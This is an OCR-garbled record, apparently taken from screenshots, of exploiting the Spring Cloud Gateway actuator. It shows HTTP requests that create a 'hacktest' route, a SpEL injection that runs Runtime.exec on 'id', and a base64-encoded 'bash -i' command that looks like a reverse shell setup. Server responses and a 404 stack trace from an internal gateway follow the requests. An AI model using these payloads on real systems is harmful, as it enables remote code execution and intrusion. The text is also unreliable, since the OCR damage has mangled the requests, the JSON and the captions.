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1 HTTP/1.1 200 OK

2 Content-Type: application/json

3 Content-Length: 185

4 connection: close

5

1 GET /actuator/gateway/routes/hacktest HITP/1.1

3 Accept-Encoding: gzip, deflate
4 Accept: */*
5 Accept-Language: en .
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 6
“predicate”:“Paths: [/gmem/aaa/#%], match trailing slash: true”,
“route_id”:"hacktest”,
“filters”:[
“[[AddResponseHeader Result = "ok'], order = 1]”

7 Connection: close
& Content-Type: application/x-www-form-urlencoded
9 Content-Length: 0
10
11 1,
“uri”:"http://test. com:80”,
“order”:
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“predicate”:”Paths: [/gmem/aaa/**], match trailing slash: true”
“route_id”:”hacktest”,
filters :|

“[[AddResponseHeader Result = 'ok’ ], order = 1]”

1,
“uri”:"http://test.com:807,
“order”:0

filterE Bi1XE 2ok

= AT RIE R AT NS

H


af://n11

o Success!
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Request Response

Pretty JRENY \n Actions v G5 Raw Render \n Actions v

1 GET /actuator/gateway/routes/hacktest HITP/1.1 1 HTTP/1.1 200 OK

2 ) Content-Type: application/json

3 Accept-Encoding: gzip, deflate 3 Content-Length: 184

4 Accept: /* 4 connection: close

5 Accept-Language: en 5

6 User-Agent: Mozilla/5.0 (Vindows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 6{

7 Connection: close “predicate”:"Paths: [/gmen/*+], match trailing slash: true”
8 Content-Type: application/x-www—form-urlencoded “route hacktest”,

9 Content-Length: 0 “filters”:[

0 “[[AddResponselleader Result = ’error’], order = 1]”
1

“uri”:"http://test. com:80",
“order”:0
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1 GET /actuator/gatevay/routes/hacktest HTTP/1.1 1TTR/1.1 200 OK

2 2 Content-Type: application/json
Accept-Encoding: gzip, deflate ; Content-Length: 298

i dccept: /% ! comection: close

5 Accept Language: en 5

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWiebKit/537.36 (KHTML. like Gecko) Chrome/97.0.4692.71 Safari/537. 36 it

Connee tion: close “predicate”:"Paths: [/gnon/sH], match trailing slash: true”,
§ Content-Tspe: application/xwwy-form urlencoded id": “hacktest”,

9 Content-Length:
0 “[[DedupeResponselieader Access—Control-Allow-Origin Access-Control-Allow-Credentials = RETAIN_FIRST], order = 117,
1 “[[AddResponselleader Result = " ervor’ ], order = 117

N
“uri”s“http://test. com:80",
“order”:0

H

XEAILER, BAEEXBFREET—NME, MEBATESENREZR, BPAXERFRER A7 E0E—
-

)
{
“predicate”:"Paths: [/gmem/fucku], match trailing slash: true”,
“route id”:"hacktest”,
“filters”:[
“[[DedupeResponseleader Aceess—Contral-Allow-0rigin Access-Control-Allow-Credentials = RETAIN FIRST], order = 1]7,
“[[AddResponseHeader Result = "ok’ ], order = 1]”

s

1;
“uri”:”http://test.com:80",
“order”:0
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rineduneResnonseHeader Access-Contro-A1low-0rigin Access-Control-Allow-Credentials = RETAIN
FIRST , order =1
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Whitelabel Error Page

This application has no configured error view, so you are seeing this as a fallback.

Thu May 18 10:49:09 CST 2023
[8069cb5f-16] There was an unexpected err0r|(type:Not Found, status=404).
org.springframework.web.server.ResponseStatusException: 404 NOT_FOUND
at org.springframework.web.reactive.resource.ResourceWebHandler.lambda$handle$0(ResourceWebHandlerjava:325)
Suppressed: reactor.core.publisher.FluxOnAssembly$OnAssemblyException:
Error has been observed at the following site(s):
|_ checkpoint - com.alibaba.csp.sentinel.adapter.spring.webflux.SentinelWebFluxFilter [DefaultWebFilterChain]
|_ checkpoint - com.yl.platform.gateway.filter.RewriteDoubleSlashPathWebFilter [DefaultWebFilterChain]
|_ checkpoint - org.springframework.cloud.gateway.filter. WeightCalculatorWebFilter [DefaultWebFilterChain]
|_ checkpoint - org.springframework.boot.actuate.metrics.web.reactive.server.MetricsWebFilter [DefaultWebFilterChain]
|_ checkpoint -» HTTP GET "/gmem/fucku" [ExceptionHandlingWebHandler]
Stack trace:
at org.springframework.web.reactive.resource.ResourceWebHandlerlambda$handle$0(ResourceWebHandlerjava:325)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer,java:44)
at reactor.core.publisher.Mono.subscribe(Mono.java:4252)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.MonoFlatMap$FlatMapMain.onComplete(MonoFlatMap.java:174)
at reactor.core.publisherMonoNext$NextSubscriber.onComplete(MonoNext.java:96)
at reactor.core.publisher.FluxConcatMap$ConcatMaplmmediate.drain(FluxConcatMap.java:359)
at reactor.core.publisher.FluxConcatMap$ConcatMaplmmediate.onSubscribe(FluxConcatMap java:211)
at reactor.core.publisher.Fluxiterable.subscribe(Fluxlterable.java:161)
at reactor.core.publisher.Fluxiterable.subscribe(Fluxiterable.java:86)
at reactor.core.publisher.Mono.subscribe(Mono.java:4252)
at reactor.core.publisher.MonolgnoreThen$ThenlgnoreMain.subscribeNext(MonolgnoreThen java:253)
at reactor.core.publisher.MonolgnoreThen.subscribe(MonolgnoreThen.java:51)
at reactor.core.publisher.MonoFlatMap$FlatMapMain.onNext(MonoFlatMap.java:150)
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com.alibaba.csp.sentinel.adapter.spring.webflux.SentinelWebFluxFilter [DefaultWebFilterChain]
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POST /actuator/gateway/routes/hacktest HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64) ApplewebKit/537.36 (KHTML,
1ike Gecko) Chrome/97.0.4692.71 safari/537.36

Connection: close

content-Type: application/json

Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {

"name": "Result",
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"value": "#{new
String(T(org.springframework.util.Streamutils).copyToByteArray(T(java.lang.Runtime).
getRuntime() .exec(new String[]{\"id\"}).getInputStream()))}"

}

3,
"uri": "http://example.com"
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"value": "#{new
String(T(org.springframework.util.Streamutils).copyToByteArray(T(java.lang.Runtime).
getRuntime() .exec(new String[]J{\"id\"}).getInputStream()))}"
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"new string[]J{\"/bin/bash\", \"-c\", \"{echo,b644ufd)5 % shel1f4}|{base64,-d}|
{bash,-i}\"}"
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Request Response

Pretty \n Actions v pretty (B Render \n  Actions v
1 POST tor/gateway fresh HTTP/1.1 1

en
11a/5.0 (Findows NT 10.0; Win64; x64) ApplefebKit/537.36 (KUTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
e
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